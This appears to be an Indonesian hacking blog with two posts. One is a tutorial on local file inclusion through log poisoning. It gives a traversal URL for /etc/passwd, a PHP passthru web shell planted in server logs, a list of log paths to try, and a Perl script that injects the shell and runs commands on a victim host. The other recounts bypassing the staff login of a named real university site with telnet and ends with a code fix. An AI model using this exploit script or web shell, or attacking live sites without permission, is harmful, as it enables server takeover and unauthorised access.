Showing posts with label Vulnerabilities. Show all posts
Showing posts with label Vulnerabilities. Show all posts

Wednesday, 7 May 2008

file Logs Sebagai Pintu alternatif (LFI exploitation)

Kali ini posting aq serius gak akan ada kata bugil , gadis telanjang , foto artis bugil , foto

dewi persik bugil, dll ( padahal tetep ada tuh ;p )


// chapter 1 --- LOgs ANd LFI

ok , file log sendiri merupakan file yang berisi mengenai aktifitas2 komputer dan aktifitas yang

dilakukan di server , blah apa iki maksudnye begini - begini singkat kata file logs adalah file

yang berisi tentang aktifitas/Kegiatan di komputer(server).
Jd semua akses yang dilakukan kita akan di catat di file ini

Local File inclusion(LFI) sendiri dapat di artikan sebagai penyisipan file yang ada di local


//chapter 2 --- The Bug (LFI Concept)

contoh code yang terkena LFI

< ?php
$page = $_GET[page];
include($page);
? >


pada kode ini terlihat jelas variable Page tidak terfilter , dengan modifikasi url seperti

dibawah seorang penyerang dapat meload dan mengesekusi file tsb

http://Injek.injekkan.com/index.php?page=../../../../../../../etc/passwd


dan hasilnya akan terlihat isi dari file /etc/passwd


//chapter 3 --- fuck'n file logs

seperti yang sudah aq kasih tau diatas bahwa file logs mencatat semua aktifitas yang ada diserver , termasuk url yang sudah di modifikasi :) .

yah dengan memasukan <? passthru($_GET[cmd]) ?> pada url aq bisa menjalankan perintah pada server.

kenapa ?????? ingat file log akan mencatat semua aktifitas di dalam server,

  • manipulasi url menjadi --> http://Injek.injekkan.com/<? passthru($_GET[cmd]) ?>
  • file <? passthru($_GET[cmd]) ?> tidak terdapat di server , dan webserver akan mencatat di file log ( biasanya error_log )
  • get your shellllllllllllllllll ............... in http://Injek.injekkan.com/../../../../../../../etc/httpd/logs/error_log?cmd=your_command_shell .....



secara default file log tersimpan disini

../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_log
../../../../../../../usr/local/apache/logs/access.log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_log
../../../../../../../usr/local/apache/logs/error.log
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log



//chapter 4 --- THe script


use LWP::UserAgent;
$korban="victim.com";
$path="/folder/";
$code="<? passthru($_GET[cmd]) ?>";
$log = "../../../../../../../etc/httpd/logs/error_log";

print "Trying to inject the code";

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$korban", PeerPort=>"80") or die "

Connection Failed. ";
print $socket "GET ".$path.$code." HTTP/1.1 ";
print $socket "User-Agent: ".$code." ";
print $socket "Host: ".$korban." ";
print $socket "Connection: close ";
close($socket);
print " Code $code sucssefully injected in $log ";

print " Type command to run or exit to end: ";
$cmd = <STDIN>;

while($cmd !~ "exit") {

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$korban", PeerPort=>"80") or die "

Connection Failed. ";
print $socket "GET ".$path."index.php=".$log."&cmd=$cmd HTTP/1.1 ";
print $socket "Host: ".$korban." ";
print $socket "Accept: */* ";
print $socket "Connection: close ";

while ($show = <$socket>)
{
print $show;
}

print "Type command to run or exit to end: ";
$cmd = <STDIN>;
}


referensi
e-rdc.org
rstzone.org


Thursday, 10 April 2008

Melewati Form Login



/* pendahuluan */


pada saat ini saya akan membahas tentang bagaimana melewati form login
tanpa perlu menggunakan user dan password , pada tulisan ini saya mencoba
melewati login staf pada situs bsi.ac.id (untuk web devlopernya saya mengucapkan
beribu2 maaf ), this's a real time penetration



/* code yang bermasalah */


secara teknisnya script yang terlindungi akan melakukan pengecekan apakah user
sudah login atau belum , cth code nya seperti ini


if(!isset($_SESSION['session']["sudahLogin"])) {
header("Location: login.php");
}


pada code tersebut script akan mengecek variable

$_SESSION['session']["sudahLogin"] sudah terisi atau belum (hal ini dilakukan di

server sebagai tanda kalau user sudah login) jika user belum login script akan men

redirect ke halaman login.php ,

Pak Yudi : emmm lalu yang jadi masalah apa bi lah emang

seharusnya begitukan bi (bi adalah panggilan saya ,.. babbi) ...

Dengan sedikit tersanjung karna terus menerus di panggil babbi , saya pun

menjawab ..

(emmm , koe gaya penulisannya berubah yah ???? )

babbi : ya ... memang betul sekali browser akan mendirect dari halaman index.php

ke login.php, ..

Pak yudi : Lalu .... ?????

Babbi : aha ... bagai mana jika saya tidak menggunakan browser ,... ????

(penulisan artikel ini saya hentikan karna teman sy Pak Yudi yang mengaku dirinya
sebagai EtikaL hacker mengajak saya berbincang2 , yang dr tadi manggil saya babbi

adalah dia ;p)

lanjut .....

Pak Yudi : maksutnya ??? (dengan wajah gantengnya yang tampak bingung)
Babbi : yah bagai mana jika saya tidak menggunakan browser , melainkan saya

menggunakan tools lain seperti telnet client, atau netcat




/* implementation */

gambar dibawah ini adalah tampilan login karyawan pada www.bsi.ac.id , saya mencoba dengan
user test aja dan password sama

















Pak Yudi : test aja sono , gw jamin loe ga bakalan tembus nyaut aja nih si pak yudi )











(hal ini akan terjadi juga jika saya langsung direct ke index.php)

Pak Yudi : xixixixix apa gw bilang =))


setelah muncul pesan error borwser akan kembali kehalaman login.php

babbi : hahaha . sabar pak yudi sekarang saya akan menggunakan telnet client , tp

langsung direct ke index.php tanpa melewati login.php


>> telnet bsi.ac.id 80
.... connected bsi.ac.id
>> get /staf/index.php

dan hasilnya















jika dilihat dari gambar di atas saya berhasil memasuki 'sistem administrasi

dosen' tanpa melakukan login

(pak yudi meninggalkan saya tanpa mengucapkan sepatah kata pun kepada saya)


/* Penanggulangan */


jika dilihat dr permasalahan yg ada perlu di tambahkan kode exit() pada script tsb
lengkapnya .. code menjadi seprti ini

if(!isset($_SESSION['session']["sudahLogin"])) {
header("Location: login.php");
exit();
}



yah ini hanya lah penetrasi awal , setelah ini masih banyak lagi hal yang dpt di

kembangkan

see ya ...

referensi http://yaisb.blogspot.com/2006/08/authentication-bypass_07.html